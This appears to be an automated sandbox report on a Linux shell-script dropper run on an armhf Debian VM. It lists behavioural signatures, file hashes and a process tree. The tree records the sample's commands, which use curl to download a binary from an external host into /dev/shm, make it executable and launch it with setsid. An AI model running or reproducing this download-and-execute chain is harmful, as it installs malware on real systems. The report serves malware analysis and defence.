Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    08/09/2026, 12:30

General

  • Target
    run.sh
  • Size 1KB
  • Sample260908-ppq9nsff33
  • SHA256 b0b6efad5e373b5450697060b39af80ca6c51d7e310bffa3bd85d4809a36e8a8
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

Processes

  • /tmp/run.sh
    /tmp/run.sh
    1⤵
      PID:638
      • /usr/bin/tr
        tr A-Z a-z
        2⤵
          PID:642
        • /bin/uname
          uname -m
          2⤵
            PID:641
          • /usr/bin/curl
            curl -fsSL http://pingu.ltd/armv7l -o .armv7l_638
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to shm directory
            PID:645
          • /bin/chmod
            chmod +x .armv7l_638
            2⤵
            • File and Directory Permissions Modification
            PID:669
        • /usr/bin/setsid
          setsid ./.armv7l_638
          1⤵
          • Executes dropped EXE
          PID:671
        • /dev/shm/.armv7l_638
          ./.armv7l_638
          1⤵
          • Changes its process name
          • Enumerates kernel/hardware configuration
          • Reads runtime system information
          PID:671

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

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              Downloads

              .armv7l_638

              • Path /dev/shm/.armv7l_638
              • Size 7.1MB
              • SHA256 81722c7605e51e025796636e50b478daca07a7dbb6ccf3c07aad74ecc4522843
              • MD5 SHA1 SHA512 SSDEEP TLSH